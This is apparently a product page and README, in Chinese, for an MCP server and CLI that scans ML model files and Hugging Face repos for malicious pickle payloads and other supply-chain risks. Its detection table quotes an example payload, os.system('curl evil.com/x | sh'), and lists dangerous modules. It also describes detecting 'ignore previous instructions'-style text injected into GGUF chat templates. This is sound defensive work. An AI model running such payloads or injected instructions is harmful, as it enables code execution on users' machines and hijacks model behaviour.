关于 model-scanner
model-scanner 是检查机器学习模型文件及 Hugging Face 仓库供应链风险的 MCP 服务和命令行工具。它解析多种格式,无需将大型文件整体载入内存,并可生成 SARIF 结果供 CI/CD 使用。
主要功能
- 01扫描 pickle、PyTorch、joblib 和 NumPy 文件
- 02检查 safetensors、Keras、TensorFlow、ONNX 和 GGUF
- 03扫描固定提交版本的 Hugging Face 仓库
- 04标记危险 pickle 引用和异常结构
- 05对大型文件采用有界读取
- 06以 SARIF 格式导出发现
适用场景
- 01加载前审查下载的模型文件
- 02按固定版本扫描 Hugging Face 模型
- 03在 CI/CD 中加入模型文件检查
MCP 相关
它向 MCP 客户端提供扫描单个模型文件、目录或 Hugging Face 仓库,以及列出检测规则的工具。
配置
本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。
工具
3收录的工具列表 · 更新于 6 天前
| 参数 | 类型 | 必填 | 说明 |
|---|---|---|---|
| path | string | 是 | 模型文件的绝对或相对路径(.pt、.pth、.ckpt、.pkl、.pickle、.bin、.safetensors、.h5、.hdf5、.keras、.onnx) |
详细介绍
@guardbee/mcp-model-scanner
🇬🇧 英语 | 🇹🇷 土耳其语 | 🇨🇳 中文 | 🇯🇵 日语 | 🇰🇷 韩语 | 🇧🇷 葡萄牙语 | 🇪🇸 西班牙语 | 🇩🇪 德语
一个 MCP(Model Context Protocol)服务,用于扫描 ML 模型文件中的供应链风险——扫描文件本身,而不是加载文件的代码。
大多数“AI 安全”工具关注的是集成代码,或其中流转的提示词。这个软件包关注的是你(或队友,或通过 pip install)从 Hugging Face、注册表或 S3 存储桶下载的制品——也可以直接扫描 Hugging Face 仓库,并固定到某个提交。.pt/.pth/.pkl/.joblib 检查点是 pickle 文件,而反序列化 pickle 不只是读取数据——文件一经加载,就可能调用任意 Python 代码(torch.load()、pickle.load() 等)。恶意检查点是一种真实且有据可查的攻击途径,并非假设情形。
默认情况下,遥测处于关闭状态。设置
GUARDBEE_TELEMETRY=1后,它会发送服务器、工具、成功状态、耗时和较短的参数值(例如文件路径);较长的字符串以及content、token或password等字段会替换为占位符。请参阅@guardbee/mcp-telemetry。
Claude ──► model-scanner ──► Your model files
│
├─ .pt / .pth / .ckpt → PyTorch zip container: extract data.pkl, walk the pickle
├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included)
├─ .joblib / .jbl → pickle + the array bytes and nested pickles joblib embeds
├─ .npy / .npz → object arrays (pickled data), pickles disguised as NumPy
├─ .safetensors → header structure + disguised-binary check
├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip)
├─ .onnx → external_data path-traversal heuristic
├─ .gguf → header/tensor bounds, chat-template SSTI and injected text
├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python
└─ hf://owner/repo@rev → every model file of a Hugging Face repo at one commit
为什么 pickle 是核心
Pickle 流是一个微型栈式虚拟机的字节码。GLOBAL/STACK_GLOBAL 操作码可以指定任何可导入的 Python 对象;紧接着的操作码通常会调用它。没有任何机制能阻止精心构造的 pickle 指定 os.system 或 subprocess.Popen,而不是张量重建函数——pickle.load()/torch.load() 会欣然解析并调用它。这也是 picklescan/fickling/Hugging Face 的 Picklescan 集成等工具所采用的技术。
本软件包从头实现了一套 pickle 虚拟机(协议 0–5),而不是调用 Python 或使用正则表达式。它逐字节遍历操作码流,并跟踪栈和 memo,不会调用任何对象,因此协议 4 及以上的 STACK_GLOBAL 会解析出栈上实际的模块和名称,包括从 memo 中取回的字符串,正如 NumPy 2 pickle 的处理方式。对原始字节使用正则表达式会频繁漏检或误报。
joblib 也需要这套虚拟机:joblib.dump 会在每个 NumPy 数组的 NumpyArrayWrapper 后紧接着写入数组的原始字节(对于对象数组,则写入完整的嵌套 pickle)。扫描器会从栈中读取包装器的形状和 dtype,准确跳过相应数量的字节,并检查嵌套 pickle。
发现的每个 GLOBAL/STACK_GLOBAL/INST 引用都会根据以下规则检查:
- denylist:在张量反序列化路径中没有正当理由出现的模块(
os、subprocess、socket、builtins.eval、ctypes等)→ 报告为严重/高 - allowlist:真实 ML 框架实际引用的模块(
numpy、torch、sklearn、collections等)→ 安全,不产生噪声 - 其他项 → 报告为中等(“未知”,而非“恶意”——供人工审核,同时降低误报率)
对于 PyTorch 默认基于 zip 的检查点格式,扫描器会直接从磁盘读取 ZIP 中央目录(支持 Zip64),以定位并提取较小的 data.pkl 元数据条目——它不会将数 GB 的检查点完整加载到内存中。
功能
- 真正的 pickle 解析——采用跟踪栈的 pickle 机器,而非正则表达式,也不调用 Python 子进程
- 44 条危险全局对象规则,涵盖 6 个风险类别(代码执行、进程执行、网络、文件系统、反射、反序列化),包括 dill 的代码对象和导入小工具
- 支持 PyTorch zip 容器(包括 Zip64)——无需加载整个检查点,即可提取并扫描
data.pkl - joblib——跳过嵌入的数组,遍历文件中的每个 pickle 操作码,包括嵌套的对象数组 pickle;zlib/gzip 转储会先解压
- NumPy
.npy/.npz——对象数组(以 pickle 形式存储,使用allow_pickle=True加载)以及扩展名改为 NumPy 扩展名的普通 pickle .safetensors结构验证——检查格式错误或越界的标头,并检测伪装成.safetensors扩展名的 pickle/zip- Keras Lambda 层 RCE——适用于
.h5、Keras 3.keraszip 和 SavedModelkeras_metadata.pb - ONNX
external_data路径遍历启发式检测 - GGUF——检查文件中的标头计数、字符串和数组长度、张量维度、类型及数据边界;检查聊天模板是否存在 Jinja 沙箱逃逸、隐藏字符以及针对模型的指令
- TensorFlow——检查 SavedModel、冻结的 GraphDef(
.pb/.pbtxt)以及会读取或写入文件、调用 Python 或将张量发送到调试 URL 的 TFLite Flex 操作 - Hugging Face 仓库——
scan_hf_repo/scan hf://owner/repo@revision会将修订版本解析为提交,并扫描其中的每个模型文件 - 全程限制读取量(pickle 前缀为 10MB,safetensors 标头上限为 100MB,zip 条目上限为 50MB,GGUF 和 joblib 通过 4MB 窗口读取)——可防范解压炸弹,也不会因大型模型文件导致内存溢出
- SARIF 2.1.0 输出——支持 CI/CD 集成(GitHub Code Scanning 等)
- 支持通过
guardbee.yml使用配置文件 - 82 个单元测试,涵盖每种格式的恶意和良性样本,另有针对热门公开模型的误报检查
快速开始
Claude Desktop / MCP 客户端
{
"mcpServers": {
"guardbee-model-scanner": {
"command": "npx",
"args": ["-y", "@guardbee/mcp-model-scanner"]
}
}
}
CLI(CI/CD)
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif
# A Hugging Face model repo at a pinned commit (branch, tag or sha; HF_TOKEN for gated/private repos)
npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e
在仓库模式下,修订版本会解析为提交 SHA,并从该提交读取每个文件,因此结果对应固定快照;检测结果会指向 hf://owner/repo@sha/path。大小不超过 256 MB 的文件会完整下载。更大的文件则从开头读取 64 MB;对于 zip 容器,还会读取末尾的 64 MB(中央目录),其中包含检查所需的所有标头、pickle 流和张量表。
MCP 工具
| 工具 | 描述 |
|---|---|
scan_file | 扫描单个模型文件 |
scan_directory | 递归扫描目录中的模型文件(通过其 saved_model.pb 扫描 SavedModel) |
scan_hf_repo | 扫描固定到指定提交的 Hugging Face 模型仓库中的每个模型文件 |
list_patterns | 按风险类别列出危险全局对象目录以及检查的 TensorFlow 操作 |
可检测的内容
| 格式 | 检查项 | 严重性 | 示例 |
|---|---|---|---|
| pickle / PyTorch | 引用 os、posix、nt、subprocess、socket、ctypes、runpy、pty.spawn、platform.popen、commands | 严重 | os.system('curl evil.com/x | sh') |
| pickle / PyTorch | builtins.eval/exec/compile/__import__、pickle.loads、marshal.loads | 严重 | 递归/嵌套载荷,或直接调用 eval |
| pickle / PyTorch | builtins.getattr/open、shutil.*、importlib.*、requests.*、webbrowser.open、urllib*.urlopen | 高 | 数据外泄、SSRF、文件读写 |
| safetensors | 文件头以 pickle/zip 签名开头,而不是长度值 | 严重 | 将 .pkl 文件改名为 .safetensors |
| safetensors | 张量的 data_offsets 超出实际数据区范围 | 高 | 解析器读取越界数据 |
| safetensors | 文件头长度无效/过大,或文件头不是 JSON 格式 | 高 | 损坏或恶意构造的文件头 |
| Keras .h5/.keras/SavedModel | 模型配置中存在 class_name: "Lambda" | 严重 | 加载时通过编组函数实现 RCE |
| ONNX | external_data 中的 location 含有 .. | 高 | 路径遍历访问任意文件 |
| dill | dill._dill._create_code/_create_function/_eval_repr | 严重 | 从字节码重建函数,并在加载时调用 |
| dill | dill._dill._import_module/_get_attr/_create_filehandle | 高 | 无需提及 os 即可调用 os.system |
| joblib | 主数据流或嵌套的对象数组 pickle 中存在任意 pickle 规则 | 按规则判定 | 载荷隐藏在真实数组之后 |
| NumPy | 对象 dtype;扩展名为 .npy 的 pickle | 中 / 高 | np.load(..., allow_pickle=True) 会对其进行反序列化 |
| GGUF | 聊天模板可访问 Python 内部对象(__class__、__globals__、…) | 严重 | Jinja 沙箱逃逸(CVE-2024-34359) |
| GGUF | 元数据中包含隐藏 Unicode 字符或类似“忽略之前的指令”的文本 | 高 | 向每次对话注入指令 |
| GGUF | 计数、长度、维度或张量边界与文件不一致 | 高 | 未修补的加载器发生堆溢出 |
| TensorFlow | WriteFile / ReadFile / PyFunc / 文件数据集 / 将 PrintV2 写入 file:// | 严重–中 | 操作服务主机文件的计算图 |
完整的危险全局对象目录:运行 list_patterns 工具,或参阅 src/dangerousGlobals.ts。
0.4 版新增的规则 ID
| 规则 ID | 严重性 |
|---|---|
pickle_dangerous_global_dill__dill_*、pickle_dangerous_global_dill_dill_* | 严重 / 高 |
joblib_partial_scan、joblib_compressed_unsupported、joblib_compressed_too_large、joblib_decompress_failed、joblib_unrecognized | 低 / 中 |
numpy_object_array | 中 |
numpy_disguised_pickle | 高 |
numpy_bad_header、numpy_npz_unreadable | 中 |
numpy_npz_entry_unreadable、numpy_npz_partial_scan | 低 |
gguf_chat_template_ssti | 严重 |
gguf_metadata_injected_instructions、gguf_metadata_hidden_characters、gguf_malformed_header、gguf_tensor_out_of_bounds、gguf_bad_magic | 高 |
gguf_duplicate_tensor、gguf_tensor_misaligned | 中 |
gguf_chat_template_url、gguf_unknown_tensor_type、gguf_not_parsed | 低 |
tf_op_writefile | 严重 |
tf_op_readfile、tf_op_pyfunc、tf_op_pyfuncstateless、tf_op_eagerpyfunc | 高 |
tf_op_matchingfiles、tf_op_immutableconst、tf_op_*dataset*、tf_op_printv2、tf_op_debug* | 中 |
tf_saved_model_malformed、tflite_bad_identifier、keras_config_unreadable | 中 |
tf_graph_too_large | 低 |
SARIF 输出保留原有结构:每个规则 ID 仍会成为一个 rules[] 条目。
已使用公开模型进行检查
于 2026-10-30 使用 scan hf://… 扫描。列出了这些仓库中的所有发现;没有误报。少量“部分扫描”说明是因为文件大于 pickle、H5 和 ONNX 检查读取的 10 MB 前缀。
| Repo @ commit | 格式 | 发现 |
|---|---|---|
openai-community/gpt2@607a30d | PyTorch(旧版 pickle)、safetensors、H5、ONNX、TFLite | 5 条低风险部分扫描说明 |
google-bert/bert-base-uncased@86b5e09 | PyTorch、safetensors、H5、ONNX | 3 条低风险部分扫描说明 |
sentence-transformers/all-MiniLM-L6-v2@1110a24 | PyTorch、safetensors、H5、9 个 ONNX 变体 | 10 条低风险部分扫描说明 |
Qwen/Qwen2.5-0.5B-Instruct-GGUF@9217f5d | GGUF(9 种量化,包括 fp16、K 量化) | 无 |
bartowski/Llama-3.2-1B-Instruct-GGUF@067b946 | GGUF(18 种量化,包括 IQ 类型) | 3 条低风险说明:张量类型 31–33,已从 ggml 中移除 |
microsoft/Phi-3-mini-4k-instruct-gguf@a641133 | GGUF | 无 |
keras-io/ocr-for-captcha@1d695c4 | SavedModel + keras_metadata.pb | 无 |
keras-io/timeseries-anomaly-detection@5712601 | SavedModel;profiler .pb 文件因不是计算图而跳过 | 无 |
suno/bark-small@1dbd7a1 | PyTorch、783 个 .npy 说话人提示词 | 无 |
julien-c/wine-quality@90ef3b7 | scikit-learn joblib | 无 |
mcpotato/42-eicar-street@8fb61c4 | Hugging Face 的恶意 pickle 测试仓库 | model_broken_X.pkl:严重的 builtins.exec(唯一带有模型扩展名的载荷) |
这些是经过调整以降低误报率的启发式发现——尤其是 HDF5 和 ONNX,它们是复杂的二进制/protobuf 格式,通过有界文本模式搜索而非完整结构解析进行扫描。仍应检查每项发现;扫描结果干净并不能正式证明安全。
配置(guardbee.yml)
model-scanner:
fail-on: high # any | critical | high | medium | low | none
max-files: 2000
exclude:
- "fixtures/"
限制(有意为之)
- 只扫描原始(非 zip)pickle 流的前 10MB(joblib 文件会遍历至末尾)——危险的全局对象必须在 pickle 流中的实例之前被引用,因此与将大型旧版检查点完整载入内存相比,这一上限是合理的权衡。
- ZIP 提取仅支持 STORED 和 DEFLATE(涵盖默认的 PyTorch 检查点格式)。
- HDF5/ONNX 检查基于有界前缀进行模式匹配,并非完整的结构/protobuf 解析。
- 使用 bz2、xz、lzma 或 lz4 压缩的 joblib 文件会报告出来,但不会解压。GGUF v1 和大端序 GGUF 文件会报告出来,但不会解析。
- TFLite 检查会查找 Flex 委托算子名称;内置 TFLite 算子仅用于张量运算。
- GGUF 指令检查会查找常见的注入措辞和隐藏字符;措辞精心设计的指令仍可能通过检查。请阅读你未构建的模型的聊天模板。
- 此工具扫描的是文件,而非运行时行为——它不会执行或沙箱化任何内容。
开发
npm run build
npm test # 82 unit tests
许可证
MIT — GuardBee
反馈
有问题、想法或发现误报?请在 GitHub Discussions 中发起讨论,或提交问题。如果 GuardBee 对你有用,请在仓库点个 ⭐,帮助其他人找到它。
评论
一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。